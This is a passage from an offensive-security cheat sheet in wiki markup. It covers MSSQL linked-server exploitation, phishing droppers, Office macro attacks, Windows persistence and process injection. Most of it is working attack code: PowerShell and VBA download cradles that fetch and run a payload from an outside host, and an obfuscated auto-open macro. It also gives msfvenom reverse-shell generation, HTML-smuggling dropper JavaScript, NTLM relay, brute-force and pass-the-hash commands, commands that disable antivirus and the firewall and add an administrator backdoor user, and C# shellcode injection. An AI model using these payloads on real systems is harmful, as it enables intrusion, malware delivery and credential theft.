[*] f74445c8-4fb7-4a68-86d8-9c14cfd9470a - APPSRV01 (CORP1\offsec@master/guest) -&amp;gt; DC01 (sa&amp;gt;I:CORP1\Administrator@master/dbo) (CORP1\Administrator dbo@master)&lt;br /&gt;
[*] 9f676285-ffe4-4a97-b7b4-f4f59e128a2f - APPSRV01 (CORP1\offsec@master/guest) -&amp;gt; DC01 (sa@master/dbo) -&amp;gt; APPSRV01 (sa@master/dbo) (sa dbo@master)&lt;br /&gt;
[*] c7ecd747-93cf-4978-aab2-33a8864400f1 - APPSRV01 (CORP1\offsec@master/guest) -&amp;gt; DC01 (sa@master/dbo) -&amp;gt; APPSRV01 (sa&amp;gt;I:APPSRV01\Administrator@master/dbo) (APPSRV01\Administrator dbo@master)&lt;br /&gt;
&lt;br /&gt;
# Set the chain by using the chain ID and execute a command&lt;br /&gt;
MSSqlPwner#APPSRV01 (CORP1\offsec@master/guest) -&amp;gt; DC01 (sa@master/dbo)&amp;gt; set-chain c7ecd747-93cf-4978-aab2-33a8864400f1&lt;br /&gt;
[*] Chosen chain: APPSRV01 (CORP1\offsec@master/guest) -&amp;gt; DC01 (sa@master/dbo) -&amp;gt; APPSRV01 (sa&amp;gt;I:APPSRV01\Administrator@master/dbo) (ID: c7ecd747-93cf-4978-aab2-33a8864400f1)&lt;br /&gt;
MSSqlPwner#APPSRV01 (CORP1\offsec@master/guest) -&amp;gt; DC01 (sa@master/dbo) -&amp;gt; APPSRV01 (sa&amp;gt;I:APPSRV01\Administrator@master/dbo)&amp;gt; exec whoami&lt;br /&gt;
[*] Chosen chain: APPSRV01 (CORP1\offsec@master/guest) -&amp;gt; DC01 (sa@master/dbo) -&amp;gt; APPSRV01 (sa&amp;gt;I:APPSRV01\Administrator@master/dbo) (ID: c7ecd747-93cf-4978-aab2-33a8864400f1)&lt;br /&gt;
[*] Reconfiguring show advanced options&lt;br /&gt;
[*] Reconfiguring xp_cmdshell&lt;br /&gt;
[*] The xp_cmdshell command executed successfully on APPSRV01 (CORP1\offsec@master/guest) -&amp;gt; DC01 (sa@master/dbo) -&amp;gt; APPSRV01 (sa&amp;gt;I:APPSRV01\Administrator@master/dbo)&lt;br /&gt;
[*] Result: (Key: output) corp1\sqlsvc&lt;br /&gt;
[*] Result: (Key: output) NULL&lt;br /&gt;
# To get a shell on appsrv01 through DC01&lt;br /&gt;
MSSqlPwner#APPSRV01 (CORP1\offsec@master/guest) -&amp;gt; DC01 (sa@master/dbo) -&amp;gt; APPSRV01 (sa&amp;gt;I:APPSRV01\Administrator@master/dbo)&amp;gt; exec &amp;quot;powershell.exe -e KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADQANQAuADIAMAAxAC8AcgB1AG4ALgB0AHgAdAAnACkAIAB8ACAASQBFAFgA&amp;quot;&lt;br /&gt;
# The encoded powershell command&lt;br /&gt;
$text = &amp;quot;(New-Object System.Net.WebClient).DownloadString(&#039;http://192.168.119.120/run.txt&#039;) | IEX&amp;quot;&lt;br /&gt;
$bytes = [System.Text.Encoding]::Unicode.GetBytes($text)&lt;br /&gt;
$EncodedText = [Convert]::ToBase64String($bytes)&lt;br /&gt;
$EncodedText&lt;br /&gt;
# run.txt is a powershell shellcode runner.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-10-image-9.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
--------------------------&lt;br /&gt;
# From GitHub&lt;br /&gt;
# Interactive mode&lt;br /&gt;
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth interactive&lt;br /&gt;
# Interactive mode with 2 depth level of impersonations&lt;br /&gt;
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth  -max-impersonation-depth 2 interactive&lt;br /&gt;
&lt;br /&gt;
# Executing custom assembly on the current server with windows authentication and executing hostname command&lt;br /&gt;
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth custom-asm hostname&lt;br /&gt;
# Executing custom assembly on the current server with windows authentication and executing hostname command on the SRV01 linked server&lt;br /&gt;
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 custom-asm hostname&lt;br /&gt;
# Executing the hostname command using stored procedures on the linked SRV01 server&lt;br /&gt;
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec hostname&lt;br /&gt;
# Executing the hostname command using stored procedures on the linked SRV01 server with sp_oacreate method&lt;br /&gt;
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec &amp;quot;cmd /c mshta http://192.168.45.250/malicious.hta&amp;quot; -command-execution-method sp_oacreate&lt;br /&gt;
# Issuing NTLM relay attack on the SRV01 server&lt;br /&gt;
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 ntlm-relay 192.168.45.250&lt;br /&gt;
# Issuing NTLM relay attack on chain ID 2e9a3696-d8c2-4edd-9bcc-2908414eeb25&lt;br /&gt;
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth -chain-id 2e9a3696-d8c2-4edd-9bcc-2908414eeb25 ntlm-relay 192.168.45.250&lt;br /&gt;
# Issuing NTLM relay attack on the local server with custom command&lt;br /&gt;
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.250&lt;br /&gt;
# Executing direct query&lt;br /&gt;
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth direct-query &amp;quot;SELECT CURRENT_USER&amp;quot;&lt;br /&gt;
# Retrieving password from the linked server DC01&lt;br /&gt;
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth -link-server DC01 retrive-password&lt;br /&gt;
# Execute code using custom assembly on the linked server DC01&lt;br /&gt;
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth -link-server DC01 inject-custom-asm SqlInject.dll&lt;br /&gt;
# Bruteforce using tickets, hashes, and passwords against the hosts listed on the hosts.txt&lt;br /&gt;
python3 MSSqlPwner.py hosts.txt brute -tl tickets.txt -ul users.txt -hl hashes.txt -pl passwords.txt&lt;br /&gt;
# Bruteforce using hashes, and passwords against the hosts listed on the hosts.txt&lt;br /&gt;
python3 MSSqlPwner.py hosts.txt brute -ul users.txt -hl hashes.txt -pl passwords.txt&lt;br /&gt;
# Bruteforce using tickets against the hosts listed on the hosts.txt&lt;br /&gt;
python3 MSSqlPwner.py hosts.txt brute -tl tickets.txt -ul users.txt&lt;br /&gt;
# Bruteforce using passwords against the hosts listed on the hosts.txt&lt;br /&gt;
python3 MSSqlPwner.py hosts.txt brute -ul users.txt -pl passwords.txt&lt;br /&gt;
# Bruteforce using hashes against the hosts listed on the hosts.txt&lt;br /&gt;
python3 MSSqlPwner.py hosts.txt brute -ul users.txt -hl hashes.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== [https://github.com/dadevel/mssql-spider mssql-spider] (Great tool) ====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/dadevel/mssql-spider dadevel/mssql-spider: Automated exploitation of MSSQL servers at scale (github.com)]&lt;br /&gt;
&lt;br /&gt;
This tool is kinda similar to mssqlpwner.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Authentication&lt;br /&gt;
# As local database user.&lt;br /&gt;
mssql-spider -u jdoe -p &#039;passw0rd&#039; -t db01.corp.local&lt;br /&gt;
# As local windows user.&lt;br /&gt;
mssql-spider -w -u administrator -p &#039;passw0rd&#039; -t db01.corp.local&lt;br /&gt;
# As domain user via NTLM and a password.&lt;br /&gt;
mssql-spider -d corp.local -u jdoe -p &#039;passw0rd&#039; -t db01.corp.local&lt;br /&gt;
# As domain user via NTLM Pass the Hash.&lt;br /&gt;
mssql-spider -d corp.local -u jdoe -H b9f917853e3dbf6e6831ecce60725930 -t db01.corp.local&lt;br /&gt;
# As domain user via Kerberos Overpass the Key.&lt;br /&gt;
mssql-spider -d corp.local -u jdoe -H b9f917853e3dbf6e6831ecce60725930 -k -t db01.corp.local&lt;br /&gt;
# As domain user via Kerberos Pass the Key.&lt;br /&gt;
mssql-spider -d corp.local -u jdoe -a c4c283276339e2d6b390eb5a11d419c9 -k -t db01.corp.local&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Phishing (Client side code exec) ==&lt;br /&gt;
&lt;br /&gt;
REMEMBER - Check if MS word is running 64-bit or 32-bit&lt;br /&gt;
&lt;br /&gt;
=== HTML Smuggeling ===&lt;br /&gt;
&lt;br /&gt;
HTML Smuggeling is when a victim clicks on a malicious link and JavaScript code inside the website will use HTML smuggeling to automatically save the dropper file. The technique uses the HTML5 anchor tag download attribute instructs the&lt;br /&gt;
browser to automatically download a file when a user clicks the assigned hyperlink.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
In the example below I will create a dropper file, and host a website which automatically downloads my dropper once the victim clicks on the link using the HTML code below.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Generate a staged payload using msfvenom.&lt;br /&gt;
sudo msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.1.126 LPORT=443 -f exe -o msfstaged.exe&lt;br /&gt;
# Saved it as base64 as to not lose any data.&lt;br /&gt;
base64 msfstaged.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;markup&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
		function base64ToArrayBuffer(base64) {&lt;br /&gt;
			var binary_string = window.atob(base64);&lt;br /&gt;
			var len = binary_string.length;&lt;br /&gt;
			var bytes = new Uint8Array( len );&lt;br /&gt;
			for (var i = 0; i&lt;br /&gt;
			var file =&amp;quot;TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAA...&amp;quot;&lt;br /&gt;
			var data = base64ToArrayBuffer(file);&lt;br /&gt;
			var blob = new Blob([data], {type: &#039;octet/stream&#039;});&lt;br /&gt;
			var fileName = &#039;msfstaged.exe&#039;;&lt;br /&gt;
&lt;br /&gt;
			var a = document.createElement(&#039;a&#039;);&lt;br /&gt;
			document.body.appendChild(a);&lt;br /&gt;
			a.style = &#039;display: none&#039;;&lt;br /&gt;
			var url = window.URL.createObjectURL(blob);&lt;br /&gt;
			a.href = url;&lt;br /&gt;
			a.download = fileName;&lt;br /&gt;
			a.click();&lt;br /&gt;
			window.URL.revokeObjectURL(url);&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-02-image.png|thumb|When the victim clicks a link in our phishing mail it will automatically download the dropper file onto the victim machine.]]&lt;br /&gt;
&lt;br /&gt;
=== BobTheSmuggler ===&lt;br /&gt;
&lt;br /&gt;
[https://github.com/TheCyb3rAlpha/BobTheSmuggler?tab=readme-ov-file TheCyb3rAlpha/BobTheSmuggler: &amp;quot;Bob the Smuggler&amp;quot;: A tool that leverages HTML Smuggling Attack and allows you to create HTML files with embedded 7z/zip archives. The tool would compress your binary (EXE/DLL) into 7z/zip file format, then XOR encrypt the archive and then hides inside PNG/GIF image file format (Image Polyglots). (github.com)]&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;&amp;quot;Bob the Smuggler&amp;quot;&#039;&#039;&#039; is a tool that leverages HTML Smuggling Attack and allows you to create HTML files with embedded 7z/zip archives. The tool would compress your binary (EXE/DLL) into 7z/zip file format, then XOR encrypt the archieve and then hides inside PNG/GIF image file format (Image Polyglots). The JavaScript embedded within the HTML will download the PNG/GIF file and store it in the cache. Following this, the JavaScript will extract the data embedded in the PNG/GIF, assemble it, perform XOR decryption, and then store it as an in-memory blob.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# If you want to compress SharpHound.exe into 7z format (password protected) and store it in a HTML file, you can use the following command:&lt;br /&gt;
python3 BobTheSmuggler.py -i path/to/SharpHound.exe -p 123456 -c 7z -f SharpHound.html -o SharpHound.7z -t html&lt;br /&gt;
# To create an HTML file with the embedded payload hidden inside PNG file, you can use the following command:&lt;br /&gt;
python3 BobTheSmuggler.py -i  -p  -f  -o  -t png test.png&lt;br /&gt;
# Embed payload inside GIF File:&lt;br /&gt;
python3 BobTheSmuggler.py -i  -p  -f  -o  -t gif test.gif&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2024-01-image.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
[[File:2024-01-image-1.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
Zip Sharphound and use OneDrive template.&lt;br /&gt;
&lt;br /&gt;
=== Microsoft Office Macro Client-side Attack ===&lt;br /&gt;
&lt;br /&gt;
REMEMBER - Check if 32-bit or 64-bit&lt;br /&gt;
&lt;br /&gt;
[https://blog.aghanim.net/?page_id=1809#Microsoft_Word https://blog.aghanim.net/?page_id=1809#Microsoft_Word]&lt;br /&gt;
&lt;br /&gt;
==== Visual Basic for Applications  [VBA] ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;visual&amp;quot;&amp;gt;&lt;br /&gt;
&#039;VBA Datatype&lt;br /&gt;
&#039;Dim is used to declare variables&lt;br /&gt;
Dim myString As String # Unicode&lt;br /&gt;
Dim myLong As Long # 64-bit integer&lt;br /&gt;
Dim myPointer As LongPtr # Memory pointer&lt;br /&gt;
&#039;Example - if and else statement&lt;br /&gt;
Sub MyMacro()&lt;br /&gt;
Dim myLong As Long&lt;br /&gt;
myLong = 1&lt;br /&gt;
If myLong &amp;lt; 5 Then&lt;br /&gt;
   MsgBox (&amp;quot;True&amp;quot;)&lt;br /&gt;
Else&lt;br /&gt;
   MsgBox (&amp;quot;False&amp;quot;)&lt;br /&gt;
End If&lt;br /&gt;
End Sub&lt;br /&gt;
&lt;br /&gt;
&#039;Example - Launch cmd.exe with a hidden window&lt;br /&gt;
Sub Document_Open()&lt;br /&gt;
   MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
Sub AutoOpen()&lt;br /&gt;
   MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
Sub MyMacro()&lt;br /&gt;
   Dim str As String&lt;br /&gt;
   str = &amp;quot;cmd.exe&amp;quot;&lt;br /&gt;
   Shell str, vbHide&lt;br /&gt;
End Sub&lt;br /&gt;
&#039;The picture below show the cmd.exe running as a child process of winword.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-02-image-1.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
== Persistence/ Post Explotation ==&lt;br /&gt;
&lt;br /&gt;
=== Linux ===&lt;br /&gt;
&lt;br /&gt;
[https://book.ghanim.no/?page_id=2703#Linux_Post_Explotation CheatSheet II – Advanced – BOOK_GHANIM]&lt;br /&gt;
&lt;br /&gt;
=== Windows ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Disable Anti-virus&lt;br /&gt;
Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true&lt;br /&gt;
# Disable firewall&lt;br /&gt;
NetSh Advfirewall set allprofiles state off&lt;br /&gt;
# Enable RDP&lt;br /&gt;
Set-ItemProperty -Path &amp;quot;HKLM:\System\CurrentControlSet\Control\Terminal Server&amp;quot; -name &amp;quot;fDenyTSConnections&amp;quot; -value 0&lt;br /&gt;
&lt;br /&gt;
# Disable restricted mode in order to PTH as authentication on RDP&lt;br /&gt;
New-ItemProperty -Path &amp;quot;HKLM:\System\CurrentControlSet\Control\Lsa&amp;quot; -Name DisableRestrictedAdmin -Value 0&lt;br /&gt;
# Create a new user&lt;br /&gt;
net user username password /ADD&lt;br /&gt;
# This will add the new user to the RDP group and local administratos group&lt;br /&gt;
net localgroup &amp;quot;Remote Desktop Users&amp;quot; username /add&lt;br /&gt;
net localgroup &amp;quot;Administrators&amp;quot; username /add&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== PowerShell in VBA ==&lt;br /&gt;
&lt;br /&gt;
=== Download cradle ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;visual&amp;quot;&amp;gt;&lt;br /&gt;
Sub MyMacro()&lt;br /&gt;
	Dim strArg As String&lt;br /&gt;
	strArg = &amp;quot;powershell -exec bypass -nop -c iex((new-object&lt;br /&gt;
system.net.webclient).downloadstring(&#039;http://192.168.119.120/run.txt&#039;))&amp;quot;&lt;br /&gt;
	Shell strArg, vbHide&lt;br /&gt;
End Sub&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== WMI: Unlinking PowerShell from Office ===&lt;br /&gt;
&lt;br /&gt;
Use WMI from VBA to create a PowerShell process instead of having it as a child process of Microsoft Word.&lt;br /&gt;
&lt;br /&gt;
Remember that since this is NOT ran as a child process of MS word, the PowerShell will open in 64-bit!&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;visual&amp;quot;&amp;gt;&lt;br /&gt;
Sub MyMacro&lt;br /&gt;
   strArg = &amp;quot;powershell -exec bypass -nop -c iex((new-object system.net.webclient).downloadstring(&#039;http://192.168.119.120/run.txt&#039;))&amp;quot;&lt;br /&gt;
   GetObject(&amp;quot;winmgmts:&amp;quot;).Get(&amp;quot;Win32_Process&amp;quot;).Create strArg, Null, Null, pid&lt;br /&gt;
End Sub&lt;br /&gt;
Sub AutoOpen()&lt;br /&gt;
   MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Obfuscated version of WMI ===&lt;br /&gt;
&lt;br /&gt;
* First we&#039;ll convert the strings using &#039;&#039;ToCharArray. &#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* The code below takes the string inside the $payload and encrypt it. So the string (powershell -exec …) is encrypted, not the content of run.txt).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$payload = &amp;quot;powershell -exec bypass -nop -w hidden -c iex((new-object system.net.webclient).downloadstring(&#039;http://192.168.119.120/run.txt&#039;))&amp;quot;&lt;br /&gt;
[string]$output = &amp;quot;&amp;quot;&lt;br /&gt;
$payload.ToCharArray() | %{&lt;br /&gt;
    [string]$thischar = [byte][char]$_ + 17&lt;br /&gt;
    if($thischar.Length -eq 1)&lt;br /&gt;
    {&lt;br /&gt;
        $thischar = [string]&amp;quot;00&amp;quot; + $thischar&lt;br /&gt;
        $output += $thischar&lt;br /&gt;
    }&lt;br /&gt;
    elseif($thischar.Length -eq 2)&lt;br /&gt;
    {&lt;br /&gt;
        $thischar = [string]&amp;quot;0&amp;quot; + $thischar&lt;br /&gt;
        $output += $thischar&lt;br /&gt;
    }&lt;br /&gt;
    elseif($thischar.Length -eq 3)&lt;br /&gt;
    {&lt;br /&gt;
        $output += $thischar&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
$output | clip&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* The code below is the decryption routine.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;visual&amp;quot;&amp;gt;&lt;br /&gt;
Function Pears(Beets)&lt;br /&gt;
    Pears = Chr(Beets - 17)&lt;br /&gt;
End Function&lt;br /&gt;
Function Strawberries(Grapes)&lt;br /&gt;
    Strawberries = Left(Grapes, 3)&lt;br /&gt;
End Function&lt;br /&gt;
Function Almonds(Jelly)&lt;br /&gt;
    Almonds = Right(Jelly, Len(Jelly) - 3)&lt;br /&gt;
End Function&lt;br /&gt;
Function Nuts(Milk)&lt;br /&gt;
    Do&lt;br /&gt;
        Oatmilk = Oatmilk + Pears(Strawberries(Milk))&lt;br /&gt;
        Milk = Almonds(Milk)&lt;br /&gt;
    Loop While Len(Milk) &amp;gt; 0&lt;br /&gt;
    Nuts = Oatmilk&lt;br /&gt;
End Function&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* So combined together with &amp;lt;code&amp;gt;Unlinking Powershell from Word&amp;lt;/code&amp;gt; code above, we will get this&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;visual&amp;quot;&amp;gt;&lt;br /&gt;
Function Pears(Beets)&lt;br /&gt;
    Pears = Chr(Beets - 17)&lt;br /&gt;
End Function&lt;br /&gt;
Function Strawberries(Grapes)&lt;br /&gt;
    Strawberries = Left(Grapes, 3)&lt;br /&gt;
End Function&lt;br /&gt;
Function Almonds(Jelly)&lt;br /&gt;
    Almonds = Right(Jelly, Len(Jelly) - 3)&lt;br /&gt;
End Function&lt;br /&gt;
Function Nuts(Milk)&lt;br /&gt;
    Do&lt;br /&gt;
        Oatmilk = Oatmilk + Pears(Strawberries(Milk))&lt;br /&gt;
        Milk = Almonds(Milk)&lt;br /&gt;
    Loop While Len(Milk) &amp;gt; 0&lt;br /&gt;
    Nuts = Oatmilk&lt;br /&gt;
End Function&lt;br /&gt;
Function MyMacro()&lt;br /&gt;
    Dim Apples As String&lt;br /&gt;
    Dim Water As String&lt;br /&gt;
    &#039;powershell -exec bypass -nop -w hidden -c iex((new-object system.net.webclient).downloadstring(&#039;http://192.168.119.120/run.txt&#039;))&lt;br /&gt;
    Apples = &amp;quot;129128136118131132121118125125049062118137118116049115138129114132132049062127128129049062136049121122117117118127049062116049122118137057057127118136062128115123118116133049132138132133118126063127118133063136118115116125122118127133058063117128136127125128114117132133131122127120057056121133133129075064064066074067063066071073063066063066067071064131134127063129132066056058058&amp;quot;&lt;br /&gt;
    Water = Nuts(Apples)&lt;br /&gt;
&#039; GetObject(&amp;quot;winmgmts:&amp;quot;).Get(&amp;quot;Win32_Process&amp;quot;).Create strArg, Null, Null, pid&lt;br /&gt;
            GetObject(Nuts(&amp;quot;136122127126120126133132075&amp;quot;)).Get(Nuts(&amp;quot;104122127068067112097131128116118132132&amp;quot;)).Create Water, Tea, Coffee, Napkin&lt;br /&gt;
End Function&lt;br /&gt;
Sub AutoOpen()&lt;br /&gt;
    MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Process Injection ==&lt;br /&gt;
&lt;br /&gt;
=== Csharp ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
namespace Inject&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        // Import necessary functions from kernel32.dll&lt;br /&gt;
        // Opens an existing local process object&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, ExactSpelling = true)]&lt;br /&gt;
        static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);&lt;br /&gt;
        // Reserves or commits a region of memory within the virtual address space of a specified process&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, ExactSpelling = true)]&lt;br /&gt;
        static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);&lt;br /&gt;
        // Writes data to an area of memory in a specified process&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);&lt;br /&gt;
        // Creates a thread that runs in the virtual address space of another process&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            // Obtain a handle to the target process. Remeber to change the process ID(4804)&lt;br /&gt;
            IntPtr hProcess = OpenProcess(0x001F0FFF, false, 4804);&lt;br /&gt;
            // Allocate memory in the target process&#039;s address space&lt;br /&gt;
            IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40);&lt;br /&gt;
            // Define the shellcode bytes to inject&lt;br /&gt;
            byte[] buf = new byte[591]&lt;br /&gt;
            {&lt;br /&gt;
                0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xcc, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52,&lt;br /&gt;
                // ... (rest of the shellcode)&lt;br /&gt;
            };&lt;br /&gt;
            // Write the shellcode to the allocated memory in the target process&lt;br /&gt;
            IntPtr outSize;&lt;br /&gt;
            WriteProcessMemory(hProcess, addr, buf, buf.Length, out outSize);&lt;br /&gt;
            // Create a remote thread in the target process to execute the shellcode&lt;br /&gt;
            IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Csharp - But automatically get process ID ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Diagnostics;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
namespace Inject&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        // Import necessary functions from kernel32.dll&lt;br /&gt;
        // Opens an existing local process object&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, ExactSpelling = true)]&lt;br /&gt;
        static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);&lt;br /&gt;
        // Reserves or commits a region of memory within the virtual address space of a specified process&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, ExactSpelling = true)]&lt;br /&gt;
        static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);&lt;br /&gt;
        // Writes data to an area of memory in a specified process&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);&lt;br /&gt;
        // Creates a thread that runs in the virtual address space of another process&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
	// Automatically obtain process ID&lt;br /&gt;
            Process[] localByName = Process.GetProcessesByName(&amp;quot;explorer&amp;quot;);&lt;br /&gt;
            if (localByName.Length == 0)&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;No explorer process found.&amp;quot;);&lt;br /&gt;
                return;&lt;br /&gt;
            }&lt;br /&gt;
            int targetProcessId = localByName[0].Id;&lt;br /&gt;
            // Obtain a handle to the target process&lt;br /&gt;
            IntPtr hProcess = OpenProcess(0x001F0FFF, false, targetProcessId);&lt;br /&gt;
            // Allocate memory in the target process&#039;s address space&lt;br /&gt;
            IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40);&lt;br /&gt;
            // Define the shellcode bytes to inject&lt;br /&gt;
            byte[] buf = new byte[510] {0xfc,0x48,0x83,0xe4,0xf0,0xe8... [Rest of the shellcode]&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
            // Write the shellcode to the allocated memory in the target process&lt;br /&gt;
            IntPtr outSize;&lt;br /&gt;
            WriteProcessMemory(hProcess, addr, buf, buf.Length, out outSize);&lt;br /&gt;
            // Create a remote thread in the target process to execute the shellcode&lt;br /&gt;
            IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);&lt;br /&gt;
        }&lt;br /&gt;
